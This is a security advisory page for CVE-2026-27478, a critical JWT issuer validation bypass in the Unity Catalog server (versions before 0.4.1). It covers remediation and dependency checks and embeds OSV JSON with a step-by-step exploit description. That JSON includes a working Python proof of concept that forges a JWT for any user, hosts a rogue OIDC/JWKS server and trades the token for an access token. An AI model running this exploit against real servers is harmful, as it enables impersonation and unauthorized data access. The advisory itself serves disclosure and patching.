CVE-2026-27478: Unitycatalog server Unity Catalog Has A JWT Vulnerability
CRITICALCVE-2026-27478 is a CRITICAL (CVSS 9.1) unity catalog has a jwt vulnerability (CWE-1390: Weak Authentication) affecting Unitycatalog server libraries in the Maven ecosystem. The issue involves unity catalog has a jwt issuer validation bypass tht allows complete user impersonation. Remediation is available by upgrading affected packages to version 0.4.1.
CVE-2026-27478 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-27478
To remediate this vulnerability, upgrade all affected Unitycatalog server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>io.unitycatalog</groupId>
<artifactId>unitycatalog-server</artifactId>
<version>0.4.1</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=io.unitycatalog
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-27478, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=io.unitycatalog
Analyze the terminal output to locate any version of Unitycatalog server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.1), your application is affected.
Note: The mvn dependency:tree -Dincludes=io.unitycatalog command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1390: Weak Authentication, where the product uses an authentication mechanism to restrict access to specific users or identities, but the mechanism does not sufficiently prove that the claimed identity is correct. In Unitycatalog server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-27478 Affected Unitycatalog server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
io.unitycatalog:unitycatalog-server
|
Maven |
< 0.4.1
|
0.4.1
|
References
Frequently Asked Questions
What is CVE-2026-27478?
Which Unitycatalog server versions are affected?
What version fixes CVE-2026-27478?
Is unitycatalog-server affected?
What is the CVSS score of CVE-2026-27478?
What CWE is associated with CVE-2026-27478?
How can I check Maven dependencies for CVE-2026-27478?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-qqcj-rghw-829x",
"modified" : "2026-05-11T17:58:40Z",
"published" : "2026-05-11T17:58:40Z",
"aliases" : [ "CVE-2026-27478" ],
"summary" : "Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation",
"details" : "**Context:**\nA critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.\n\n**Way to exploit:**\n\nAn attacker can exploit this by:\n1. Hosting their own OIDC-compliant server with a valid JWKS endpoint\n2. Signing a JWT with their own private key, setting the iss claim to their server\n3. Setting the sub/email claim to any known user in the Unity Catalog system\n4. Exchanging this crafted token for a valid internal access token\n\nThis results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.\n\nAdditionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.\n\n**Example**\n\nExample implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.\n\nThis can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version\"\"\"\n\nimport base64, secrets, threading, time\nfrom datetime import datetime, timedelta, timezone\nimport jwt, requests\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom flask import Flask, jsonify\n\nTARGET_USER = \"user@example.com\"\nUC_SERVER = \"http://localhost:8080\"\nPORT = 8888\nISSUER = f\"http://localhost:{PORT}\"\n\n# Generate RSA key pair\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\nkid = secrets.token_hex(8)\n\n# Create JWKS\npub = key.public_key().public_numbers()\ndef b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, \"big\")).rstrip(b\"=\").decode()\njwks = {\"keys\": [{\"kty\": \"RSA\", \"use\": \"sig\", \"alg\": \"RS256\", \"kid\": kid, \"n\": b64(pub.n), \"e\": b64(pub.e)}]}\n\n# Create malicious JWT\ntoken = jwt.encode(\n {\"iss\": ISSUER, \"sub\": TARGET_USER, \"email\": TARGET_USER, \"aud\": \"unity-catalog\",\n \"iat\": datetime.now(timezone.utc), \"exp\": datetime.now(timezone.utc) + timedelta(hours=1)},\n key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),\n algorithm=\"RS256\", headers={\"kid\": kid}\n)\n\n# Start minimal OIDC server\napp = Flask(__name__)\napp.logger.disabled = True\n\n@app.route(\"/.well-known/openid-configuration\")\ndef oidc(): return jsonify({\"issuer\": ISSUER, \"jwks_uri\": f\"{ISSUER}/jwks\"})\n\n@app.route(\"/jwks\")\ndef keys(): return jsonify(jwks)\n\nthreading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()\ntime.sleep(1)\n\n# Exchange token\nresp = requests.post(f\"{UC_SERVER}/api/1.0/unity-control/auth/tokens\",\n data={\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",\n \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",\n \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",\n \"subject_token\": token})\n\nif resp.status_code == 200:\n access_token = resp.json()[\"access_token\"]\n print(f\"[+] Got access token as '{TARGET_USER}'\")\n # Demo: list catalogs\n catalogs = requests.get(f\"{UC_SERVER}/api/2.1/unity-catalog/catalogs\",\n headers={\"Authorization\": f\"Bearer {access_token}\"})\n print(catalogs.json())\nelse:\n print(f\"[-] Failed: {resp.status_code} {resp.text}\")\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "io.unitycatalog:unitycatalog-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.4.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.4.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27478"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/unitycatalog/unitycatalog"
}, {
"type" : "WEB",
"url" : "https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1390", "CWE-290", "CWE-346" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-11T17:58:40Z",
"nvd_published_at" : "2026-03-11T20:16:14Z"
}
}